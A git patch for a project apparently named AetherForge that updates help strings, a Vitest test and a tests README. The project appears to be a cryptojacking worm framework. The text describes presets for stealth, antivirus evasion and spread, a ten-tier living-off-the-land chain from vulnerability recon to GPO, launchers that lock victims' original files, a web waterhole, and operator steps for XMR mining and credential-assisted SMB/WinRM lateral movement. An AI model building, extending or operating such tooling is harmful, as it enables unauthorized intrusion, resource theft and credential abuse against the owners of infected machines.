From 33a66d853d33cf673a49a6c2722984d9d6618598 Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 7 Jun 2026 00:42:06 -0700 Subject: [PATCH] Sync docs and test inventory after LOTL release --- PROBLEMS.md | 3 +- server/web/src/help/settingHelp.ts | 2 +- server/web/src/help/spreadTechniques.test.ts | 9 +++ server/web/src/help/spreadTechniques.ts | 10 +++- tests/README.md | 59 ++++++++++++++++---- 5 files changed, 68 insertions(+), 15 deletions(-) diff --git a/PROBLEMS.md b/PROBLEMS.md index 2010817..678108c 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -1,6 +1,6 @@ # PROBLEMS.md -Open issues only. Fixed items removed. Last sweep: 2026-06-06. +Open issues only. Fixed items removed. Last sweep: 2026-06-07. ## By design / safety @@ -103,6 +103,7 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-06. | Item | Notes | |------|-------| +| LOTL / triple-onion / fleet recon | Go + Vitest coverage in `tests/README.md` (P0/P1 + `-ReconOnly`); live spread lanes and E2E recon flow still stub/mock-only. | | Agent pathtracer Go tests | Windows impl + stub have limited coverage (`pathtracer_stub_test.go` started). | | Client WS/beacon paths | Integration-heavy; Docker Tier 2 covers Linux slice only. | | Path Tracer 2s REST poll | No WS hop progress; acceptable latency, extra load while tracing. | diff --git a/server/web/src/help/settingHelp.ts b/server/web/src/help/settingHelp.ts index 98b2d5a..723979a 100644 --- a/server/web/src/help/settingHelp.ts +++ b/server/web/src/help/settingHelp.ts @@ -27,7 +27,7 @@ export const FIELD_HELP: Record = { forge_operation_mode: 'One-click preset bundles: Ghost (stealth LAN), Loud (lab logs), Wildfire (spread kit), AV-Safe (in-process XMR only), LOTL Onion (AV-Safe mining + native-tool spread tier chain with server-pulled contingencies). Switches sensible defaults — individual fields below can still be fine-tuned.', forge_lotl_onion: - 'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered docker→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.', + 'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered vuln recon→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.', forge_path_forge: 'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.', forge_recommended_defaults: diff --git a/server/web/src/help/spreadTechniques.test.ts b/server/web/src/help/spreadTechniques.test.ts index 8502510..9903981 100644 --- a/server/web/src/help/spreadTechniques.test.ts +++ b/server/web/src/help/spreadTechniques.test.ts @@ -1,6 +1,8 @@ import { describe, it, expect } from 'vitest'; import { + DEFAULT_LOTL_ONION_TIERS, EMBERWAKE_TECHNIQUE_LINKS, + LOTL_ONION_TIER_DOCS, SPREAD_TECHNIQUES_DOC, spreadTechniqueDocUrl, } from './spreadTechniques'; @@ -21,4 +23,11 @@ describe('spreadTechniques', () => { expect(EMBERWAKE_TECHNIQUE_LINKS.some((t) => t.anchor === 'lotl-onion')).toBe(true); expect(EMBERWAKE_TECHNIQUE_LINKS.every((t) => t.anchor && t.label && t.hint)).toBe(true); }); + + it('re-exports ten LOTL onion tiers in canonical order', () => { + expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(10); + expect(DEFAULT_LOTL_ONION_TIERS[0]).toBe('vuln_recon'); + expect(DEFAULT_LOTL_ONION_TIERS[9]).toBe('gpo'); + expect(LOTL_ONION_TIER_DOCS.map((t) => t.id)).toEqual([...DEFAULT_LOTL_ONION_TIERS]); + }); }); diff --git a/server/web/src/help/spreadTechniques.ts b/server/web/src/help/spreadTechniques.ts index 0e24b92..215cc82 100644 --- a/server/web/src/help/spreadTechniques.ts +++ b/server/web/src/help/spreadTechniques.ts @@ -1,5 +1,13 @@ /** Links into the tabbed spread techniques playbook at /docs/SPREAD_TECHNIQUES.html */ +export { + DEFAULT_LOTL_ONION_TIERS, + LOTL_ONION_TIER_DOCS, + lotlTierDocUrl, + type LotlOnionTierDoc, + type LotlOnionTierId, +} from './lotlOnionTiers'; + export const SPREAD_TECHNIQUES_DOC = '/docs/SPREAD_TECHNIQUES.html'; export interface EmberwakeTechniqueLink { @@ -16,7 +24,7 @@ export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [ { label: 'LOTL Onion tiers', anchor: 'lotl-onion', - hint: 'Ordered docker→GPO contingencies — LOTL Onion forge preset', + hint: 'Ordered vuln recon→GPO contingencies — LOTL Onion forge preset', }, { label: 'Web waterhole', diff --git a/tests/README.md b/tests/README.md index 5fa2735..9ca705a 100644 --- a/tests/README.md +++ b/tests/README.md @@ -32,6 +32,22 @@ Phases 5–7 and 7b are skipped with `-SkipBuild`. Phase 8 is skipped with `-Ski `-ReconOnly` runs the fleet recon subset (vuln/CVE, cred graph, service graph, triple-onion gates, network hints, Path Tracer discover, recon UI Vitest) and exits — useful after parallel agent landings. +## Operator quick start (LOTL + fleet recon) + +1. **Forge with LOTL Onion** — Forge → Operation mode → **LOTL Onion** (in-process RandomX, native-tool spread chain). Set your **XMR wallet** and forge once. With `lotl_policy_from_server` on (preset default), tier order comes from Calibrate `server.lotl_onion_tiers` on agent auth — **re-forge only when changing wallet, build, or preset flags**, not to reorder tiers. +2. **Probe & Join** — Crucible → select online node(s) → **Probe & Join** (`discover_and_join`). Agent runs service discovery, server signs a deploy plan, and the best LOTL lane executes. Risk/join-lane badges update on the next stats tick. +3. **Deployment credentials vault** — For cred-assisted spread (`spread_cred`, SMB/WinRM lanes), add profiles to `data/config.json`: + + ```json + "deployment_credentials": [ + { "label": "Lab ops", "username": "corp\\\\ops", "vault_ref": "deployment-creds/lab.vault" } + ] + ``` + + Store the password in `data/deployment-creds/.vault` as plain text or `{"password":"..."}` (0600). Never commit vault files. Affinity ordering is covered by `TestOrderDeploymentCredProfiles_Affinity` and `TestLoadDeploymentCredPasswordFromVault`. + +See `/docs/SPREAD_TECHNIQUES.html#lotl-onion` for the ten-tier chain and `scripts/test-suite.ps1 -ReconOnly` after landing agents. + ## Run individual suites ```bat @@ -43,14 +59,16 @@ cd server\web && npm run test:e2e ### Fleet recon quick-run (P0 subset) +Matches `scripts/test-suite.ps1 -ReconOnly`: + ```bat -cd server && go test ./internal/api/... -run "PathTracer|SpreadCred|MergeService" -count=1 +cd server && go test ./internal/api/... -run "PathTracer|SpreadCred|MergeService|DeployPlan" -count=1 cd server && go test ./internal/db/... -run CredEdge -count=1 -cd server && go test . -run OrderDeploymentCred -count=1 -cd agent && go test ./vulnprobe/... ./miner/... -run "TripleOnion|Correlate|VulnProbe" -count=1 -cd agent && go test ./deploy/... -run "NetworkHints|ServiceDiscovery|CredSpread" -count=1 +cd server && go test . -run "OrderDeploymentCred|LoadDeploymentCred" -count=1 +cd agent && go test ./vulnprobe/... ./miner/... -run "TripleOnion|Correlate|VulnProbe|Risk" -count=1 +cd agent && go test ./deploy/... -run "NetworkHints|ServiceDiscovery|CredSpread|Discover" -count=1 cd agent && go test ./client/... -run "Vuln|SpreadCred|ChainOrder" -count=1 -cd server\web && npm run test -- --run src/help/reconRisk.test.ts src/components/Fleet/ReconBadges.test.tsx +cd server\web && npm run test -- --run src/help/reconRisk.test.ts src/components/Fleet/ReconBadges.test.tsx src/components/Fleet/CrucibleExpandedOps.test.tsx ``` ## E2E only (server already running) @@ -88,7 +106,7 @@ All Go packages under `server/` and `agent/` are picked up automatically by `go |------|-------------------|------|-------| | `TestIntegrationRouterCommandFullRoundTrip` | API `POST /command` → agent WS → `command_result` → dashboard WS | `server/internal/api/integration_test.go` | 1 | | `TestAllowAgentWSUpgradeRateLimit` | 31st `/ws/agent` upgrade from same IP within 1 min rejected; empty IP allowed | `server/internal/api/agent_ws_limiter_test.go` | 1 | -| Crucible exec E2E | Online stub agent; **whoami** and terminal **echo** on `/crucible` | `server/web/e2e/crucible-command.spec.ts` | 8 | +| Crucible exec E2E | Online stub agent; **whoami**, terminal **echo**, and **LOTL tier badge** on `/crucible` | `server/web/e2e/crucible-command.spec.ts` | 8 | | `TestPathForgeRootPathOutsideAllowedRoots` | PathForge `root_path` outside allowlist → HTTP 400, `Placed=0` | `server/internal/builder/pathforge_test.go` | 1 | | `TestUploadCommandRejectsPathTraversal` | Agent `upload` blocks `../../` via `ResolveRemotePath` | `agent/client/client_upload_test.go` | 2 | @@ -116,7 +134,16 @@ set AETHERFORGE_URL=http://127.0.0.1:8989 cd server\web && npx playwright test e2e/crucible-command.spec.ts ``` -`e2e/remote-actions.spec.ts` mocks the dashboard WebSocket `init` payload (AgentsPage prefers live WS fleet data over REST). Playwright HTTP `page.route` alone cannot intercept WebSockets in this toolchain version. +`e2e/remote-actions.spec.ts` mocks the dashboard WebSocket `init` payload (Crucible prefers live WS fleet data over REST). Playwright HTTP `page.route` alone cannot intercept WebSockets in this toolchain version. Asserts mining Pause/Resume in `.cop-mining` and bulk Pause in `.fleet-bulk-bar` when only an offline agent is selected. + +Run remote-actions only (no stub agent; mocks offline fleet via WS): + +```bat +set AETHERFORGE_E2E_USER=testuser +set AETHERFORGE_E2E_PASS=testpass +set AETHERFORGE_URL=http://127.0.0.1:8989 +cd server\web && npx playwright test e2e/remote-actions.spec.ts +``` ## Coverage map (recent features) @@ -125,7 +152,7 @@ cd server\web && npx playwright test e2e/crucible-command.spec.ts | P0 command round-trip (integration) | `server/internal/api/integration_test.go` | 1 | | P0 agent WS rate limit | `server/internal/api/agent_ws_limiter_test.go` | 1 | | P0 PathForge root rejection | `server/internal/builder/pathforge_test.go` | 1 | -| P0 Crucible exec E2E | `server/web/e2e/crucible-command.spec.ts` | 8 | +| P0 Crucible exec + LOTL badge E2E | `server/web/e2e/crucible-command.spec.ts` | 8 | | P0 upload path traversal (P1 download) | `agent/client/client_upload_test.go` | 2 | | Cascading fallback chain | `agent/miner/fallback_chain_test.go` | 2 | | Container mining / execution mode | `agent/miner/execution_test.go` | 2 | @@ -157,13 +184,20 @@ cd server\web && npx playwright test e2e/crucible-command.spec.ts | `vuln_findings` + CVE correlate | `agent/vulnprobe/scan_test.go`, `agent/client/vuln_scan_test.go`, `agent/client/cve_scan_test.go` | 2 | | `cred_edges` + affinity spread | `server/internal/db/cred_edges_test.go`, `server/deployment_creds_test.go`, `server/internal/api/spread_cred_test.go`, `agent/client/spread_cred_test.go` | 1 / 2 | | `service_graph` + join_lane mapping | `agent/deploy/service_discovery_test.go`, `server/internal/api/pathtracer_discover_test.go` | 1 / 2 | -| `discover_and_join` deploy plan | `server/internal/api/pathtracer_discover_test.go`, `agent/deploy/service_discovery_test.go` | 1 / 2 | -| Triple onion gates (`patch_first`, `skip_mining_on_high_risk`) | `agent/miner/triple_onion_test.go`, `server/internal/api/server_policy_test.go` | 1 / 2 | +| `discover_and_join` deploy plan | `server/internal/api/pathtracer_discover_test.go`, `agent/deploy/discover_join_test.go`, `service_deploy_test.go` | 1 / 2 | +| Triple onion gates (`patch_first`, `skip_mining_on_high_risk`) | `agent/miner/triple_onion_test.go` (`TestEvaluateTripleOnionGates*`, `TestTripleOnionOrchestrator*`), `server/internal/api/server_policy_test.go` | 1 / 2 | +| Deployment cred vault + affinity | `server/deployment_creds_test.go` (`TestOrderDeploymentCredProfiles_Affinity`, `TestLoadDeploymentCredPasswordFromVault`) | 1 | +| CVE / KEV client correlate | `agent/client/cve_scan_test.go`, `agent/client/vuln_scan_test.go` | 2 | +| Vuln catalog API | `server/internal/api/vuln_handler_test.go`, `server/internal/vuln/correlator_test.go` | 1 | | `network_hints` (ARP, DNS SRV, cert) | `agent/deploy/network_hints_test.go` | 2 | | Path Tracer API extensions (discover, spread, service merge) | `server/internal/api/pathtracer_handler_test.go`, `pathtracer_discover_test.go` | 1 | | Risk badge + `reconRisk` helpers | `server/web/src/help/reconRisk.test.ts`, `ReconBadges.test.tsx` | 4 | | Credential graph table (Spread tab) | `ReconBadges.test.tsx` (`CredentialGraphTable`) | 4 | -| Probe & Join (`discover_and_join`) | `CrucibleExpandedOps.test.tsx` | 4 | +| Probe & Join (`discover_and_join`) | `CrucibleExpandedOps.test.tsx` (`Probe & Join` button → `discover_and_join`) | 4 | +| Crucible bulk pause/resume E2E | `server/web/e2e/crucible-bulk.spec.ts` | 8 | +| Fleet bulk actions hook | `server/web/src/hooks/useFleetBulkActions.test.ts` | 4 | +| War Room LOTL/join-lane telemetry | `server/web/src/help/warRoomTelemetry.test.ts` | 4 | +| Spread template export panel | `server/web/src/help/spreadTemplateExport.test.ts`, `SpreadTemplateExportPanel.tsx` | 4 | | Service graph summary UI | `CrucibleExpandedOps.test.tsx` (mocked `ServiceGraphSummary`) | 4 | | `vuln_findings` / `join_lane` WS stats merge | `applyStatsUpdate.test.ts`, `wsStatsCoalesce.test.ts` | 4 | | Emberwake `join_lane` funnel tag | `ReconBadges.test.tsx` (`JoinLaneBadge`), `WarRoomFunnelBoard.tsx` | 4 | @@ -211,7 +245,8 @@ cd server\web && npm test -- --run src/help/lotlOnionTiers.test.ts src/component - **Full agent `MiningChainRunner.Start` lifecycle** — needs live pool + optional GPU binary; hook order covered via `ChainController` tests. - **Real WinRM/GPO/systemd/crontab spread execution** — requires elevated Windows domain or Linux init; tier stubs and normalization covered in deploy tests. - **Real BITS/curl/certutil download** — network + OS tooling; staging path/hash logic covered in `staging_test.go`. -- **E2E Crucible lotl_tier badge** — optional; stub agent would need tier fields in WS auth payload (Playwright `crucible-bulk.spec.ts` covers bulk pause only). +- **E2E Crucible lotl_tier badge** — covered in `crucible-command.spec.ts` (stub sends `lotl_tier` + `lotl_attempts` via WS `stats`; requires live server — phase 8 or `AETHERFORGE_URL`). +- **Playwright fleet recon flow** — Probe & Join and risk badges covered in Vitest; no full discover→spread E2E yet. ### Agent logs (not a missing API)